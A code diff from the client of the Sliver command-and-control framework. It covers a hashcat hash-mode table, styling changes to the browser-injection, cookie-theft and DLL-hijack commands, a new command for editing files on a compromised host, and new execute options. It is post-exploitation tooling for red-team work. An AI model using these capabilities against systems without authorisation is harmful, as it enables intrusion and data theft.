20900: "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||
21100: "sha1(md5($pass.$salt))",
|
||||
21200: "md5(sha1($salt).md5($pass))",
|
||||
21300: "md5($salt.sha1($salt.$pass))",
|
||||
21400: "sha256(sha256_bin($pass))",
|
||||
21500: "SolarWinds Orion",
|
||||
21501: "SolarWinds Orion v2",
|
||||
21600: "Web2py pbkdf2-sha512",
|
||||
21700: "Electrum Wallet (Salt-Type 4)",
|
||||
21800: "Electrum Wallet (Salt-Type 5)",
|
||||
22000: "WPA-PBKDF2-PMKID+EAPOL",
|
||||
22001: "WPA-PMK-PMKID+EAPOL",
|
||||
22100: "BitLocker",
|
||||
22200: "Citrix NetScaler (SHA512)",
|
||||
22300: "sha256($salt.$pass.$salt)",
|
||||
22301: "Telegram Mobile App Passcode (SHA256)",
|
||||
22400: "AES Crypt (SHA256)",
|
||||
22500: "MultiBit Classic .key (MD5)",
|
||||
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||
22700: "MultiBit HD (scrypt)",
|
||||
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||
23001: "SecureZIP AES-128",
|
||||
23002: "SecureZIP AES-192",
|
||||
23003: "SecureZIP AES-256",
|
||||
23100: "Apple Keychain",
|
||||
23200: "XMPP SCRAM PBKDF2-SHA1",
|
||||
23300: "Apple iWork",
|
||||
23400: "Bitwarden",
|
||||
23500: "AxCrypt 2 AES-128",
|
||||
23600: "AxCrypt 2 AES-256",
|
||||
23700: "RAR3-p (Uncompressed)",
|
||||
23800: "RAR3-p (Compressed)",
|
||||
23900: "BestCrypt v3 Volume Encryption",
|
||||
24100: "MongoDB ServerKey SCRAM-SHA-1",
|
||||
24200: "MongoDB ServerKey SCRAM-SHA-256",
|
||||
24300: "sha1($salt.sha1($pass.$salt))",
|
||||
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||
24600: "SQLCipher",
|
||||
24700: "Stuffit5",
|
||||
24800: "Umbraco HMAC-SHA1",
|
||||
24900: "Dahua Authentication MD5",
|
||||
25300: "MS Office 2016 - SheetProtection",
|
||||
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
|
||||
25500: "Stargazer Stellar Wallet XLM",
|
||||
25600: "bcrypt(md5($pass)) / bcryptmd5",
|
||||
25700: "MurmurHash",
|
||||
25800: "bcrypt(sha1($pass)) / bcryptsha1",
|
||||
25900: "KNX IP Secure - Device Authentication Code",
|
||||
26000: "Mozilla key3.db",
|
||||
26100: "Mozilla key4.db",
|
||||
26200: "OpenEdge Progress Encode",
|
||||
26300: "FortiGate256 (FortiOS256)",
|
||||
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26500: "iPhone passcode (UID key + System Keybag)",
|
||||
26600: "MetaMask Wallet",
|
||||
99999: "Plaintext",
|
||||
}
|
||||
|
||||
func hashcatHashTypeName(mode int32) (string, bool) {
|
||||
name, ok := hashcatHashTypes[mode]
|
||||
return name, ok
|
||||
}
|
||||
|
||||
func humanizeHashRate(rate uint64) string {
|
||||
const unit = 1000
|
||||
if rate < unit {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
value := float64(rate)
|
||||
exp := 0
|
||||
for value >= unit && exp < 5 {
|
||||
value /= unit
|
||||
exp++
|
||||
}
|
||||
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
|
||||
if exp == 0 {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
if exp > len(suffixes) {
|
||||
exp = len(suffixes)
|
||||
}
|
||||
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
|
||||
}
|
||||
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||
})
|
||||
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
|
||||
credsAddCmd.AddCommand(credsAddFileCmd)
|
||||
|
||||
credsRmCmd := &cobra.Command{
|
||||
|
||||
@@ -61,9 +61,9 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if collection != "" {
|
||||
tw.SetTitle(console.Bold + collection + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render(collection))
|
||||
} else {
|
||||
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Default Collection"))
|
||||
}
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package cursed
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
|
||||
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
||||
|
||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
|
||||
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
||||
|
||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
|
||||
|
||||
cursedScreenshotCmd := &cobra.Command{
|
||||
Use: consts.ScreenshotStr,
|
||||
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
|
||||
|
||||
return []*cobra.Command{cursedCmd}
|
||||
}
|
||||
@@ -94,7 +94,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
@@ -120,7 +120,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
||||
|
||||
@@ -93,7 +93,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||
shell := readline.NewShell()
|
||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
||||
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " })
|
||||
// EOFPrompt: "exit",
|
||||
|
||||
if con.Settings.VimMode {
|
||||
@@ -111,7 +111,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options"))
|
||||
|
||||
for {
|
||||
line, err := shell.Readline()
|
||||
|
||||
@@ -77,7 +77,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
@@ -103,7 +103,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
||||
|
||||
@@ -85,7 +85,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = forms.Confirm("Kill and restart the process?", &confirm)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package dllhijack
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["file"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
|
||||
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
||||
|
||||
return []*cobra.Command{dllhijackCmd}
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package edit
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the edit command.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
editCmd := &cobra.Command{
|
||||
Use: consts.EditStr,
|
||||
Short: "Edit a remote text file",
|
||||
Long: help.GetHelpFor([]string{consts.EditStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
EditCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
|
||||
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
|
||||
f.String("syntax", "", "syntax highlighting lexer name (optional)")
|
||||
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
|
||||
f.Bool("line-numbers", false, "show line numbers")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
carapace.Gen(editCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to the remote file to edit"),
|
||||
)
|
||||
|
||||
return []*cobra.Command{editCmd}
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
package edit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
"github.com/alecthomas/chroma/v2/lexers"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const beaconPollInterval = 1 * time.Second
|
||||
|
||||
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
|
||||
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := strings.TrimSpace(args[0])
|
||||
if remotePath == "" {
|
||||
con.PrintErrorf("Missing parameter: remote path\n")
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := downloadRemote(ctx, con, cmd, remotePath)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if !download.Exists {
|
||||
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
|
||||
return
|
||||
}
|
||||
if download.IsDir {
|
||||
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
data := download.Data
|
||||
if download.Encoder == "gzip" {
|
||||
data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if !isText(data) {
|
||||
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
path := download.Path
|
||||
if path == "" {
|
||||
path = remotePath
|
||||
}
|
||||
|
||||
lineEnding := detectLineEnding(data)
|
||||
content := normalizeLineEndings(data)
|
||||
|
||||
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
|
||||
|
||||
for {
|
||||
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Editor error: %s\n", err)
|
||||
return
|
||||
}
|
||||
content = result.Content
|
||||
|
||||
if result.Action == actionNone {
|
||||
return
|
||||
}
|
||||
|
||||
if !result.Modified {
|
||||
if result.Action == actionSaveQuit {
|
||||
con.PrintInfof("No changes to upload for %s\n", path)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
switch result.Action {
|
||||
case actionSaveQuit:
|
||||
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if !uploadNow {
|
||||
keepEditing, err := confirm("Continue editing?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if keepEditing {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
uploadData := applyLineEnding(content, lineEnding)
|
||||
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
case actionQuit:
|
||||
if result.Force {
|
||||
return
|
||||
}
|
||||
discard, err := confirm("Discard changes?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if discard {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
||||
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
||||
width, height := 80, 24
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
width, height = w, h
|
||||
}
|
||||
program := tea.NewProgram(
|
||||
model,
|
||||
tea.WithWindowSize(width, height),
|
||||
tea.WithColorProfile(colorprofile.TrueColor),
|
||||
)
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
}
|
||||
editor, ok := finalModel.(*editorModel)
|
||||
if !ok {
|
||||
return editorResult{}, fmt.Errorf("unexpected editor state")
|
||||
}
|
||||
return editor.result(), nil
|
||||
}
|
||||
|
||||
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
|
||||
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
taskID := download.Response.TaskID
|
||||
download = &sliverpb.Download{}
|
||||
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
uploadData, err := new(encoders.Gzip).Encode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
|
||||
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
Data: uploadData,
|
||||
Encoder: "gzip",
|
||||
IsDirectory: false,
|
||||
Overwrite: true,
|
||||
})
|
||||
if err == nil && upload.Response != nil && upload.Response.Async {
|
||||
taskID := upload.Response.TaskID
|
||||
upload = &sliverpb.Upload{}
|
||||
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
return nil
|
||||
}
|
||||
|
||||
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
|
||||
task, err := waitForBeaconTask(ctx, con, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state != "completed" {
|
||||
if state == "" {
|
||||
state = "unknown"
|
||||
}
|
||||
return fmt.Errorf("beacon task %s %s", task.ID, state)
|
||||
}
|
||||
if len(task.Response) == 0 {
|
||||
return fmt.Errorf("beacon task %s returned empty response", task.ID)
|
||||
}
|
||||
return proto.Unmarshal(task.Response, out)
|
||||
}
|
||||
|
||||
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
|
||||
ticker := time.NewTicker(beaconPollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state == "completed" || state == "failed" || state == "canceled" {
|
||||
return task, nil
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
|
||||
syntaxName, _ := cmd.Flags().GetString("syntax")
|
||||
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
|
||||
|
||||
syntaxName = strings.TrimSpace(syntaxName)
|
||||
if strings.EqualFold(syntaxName, "auto") {
|
||||
syntaxName = ""
|
||||
}
|
||||
|
||||
if syntaxName != "" {
|
||||
if strings.EqualFold(syntaxName, "none") {
|
||||
return nil, "none", nil
|
||||
}
|
||||
lexer := lexers.Get(syntaxName)
|
||||
if lexer == nil {
|
||||
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = syntaxName
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
if selectSyntax {
|
||||
options := syntaxOptions()
|
||||
selection := "auto"
|
||||
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
return nil, "", err
|
||||
}
|
||||
if strings.EqualFold(selection, "none") {
|
||||
return nil, "none", nil
|
||||
}
|
||||
if strings.EqualFold(selection, "auto") {
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
lexer := lexers.Get(selection)
|
||||
if lexer == nil {
|
||||
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = selection
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
|
||||
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
|
||||
lexer := lexers.Match(path)
|
||||
if lexer == nil {
|
||||
lexer = lexers.Analyse(content)
|
||||
}
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = "auto"
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
func syntaxOptions() []string {
|
||||
names := lexers.Names(true)
|
||||
sort.Strings(names)
|
||||
options := make([]string, 0, len(names)+2)
|
||||
options = append(options, "auto", "none")
|
||||
options = append(options, names...)
|
||||
return options
|
||||
}
|
||||
|
||||
func confirm(title string) (bool, error) {
|
||||
answer := false
|
||||
if err := forms.Confirm(title, &answer); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
return answer, nil
|
||||
}
|
||||
|
||||
func detectLineEnding(data []byte) string {
|
||||
if strings.Contains(string(data), "\r\n") {
|
||||
return "\r\n"
|
||||
}
|
||||
return "\n"
|
||||
}
|
||||
|
||||
func normalizeLineEndings(data []byte) string {
|
||||
content := strings.ReplaceAll(string(data), "\r\n", "\n")
|
||||
content = strings.ReplaceAll(content, "\r", "\n")
|
||||
return content
|
||||
}
|
||||
|
||||
func applyLineEnding(content, lineEnding string) []byte {
|
||||
if lineEnding == "\r\n" {
|
||||
content = strings.ReplaceAll(content, "\n", "\r\n")
|
||||
}
|
||||
return []byte(content)
|
||||
}
|
||||
|
||||
func isText(sample []byte) bool {
|
||||
const max = 1024
|
||||
if len(sample) > max {
|
||||
sample = sample[:max]
|
||||
}
|
||||
for i, c := range string(sample) {
|
||||
if i+utf8.UTFMax > len(sample) {
|
||||
break
|
||||
}
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,9 +1,11 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -25,12 +27,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("output", "o", false, "capture command output")
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.Bool("background", false, "start the process in the background and track it")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
|
||||
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
||||
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
|
||||
@@ -42,6 +47,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||
|
||||
executeChildrenCmd := &cobra.Command{
|
||||
Use: consts.ExecuteChildrenStr,
|
||||
Short: "List tracked background execute child processes",
|
||||
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||
Args: cobra.NoArgs,
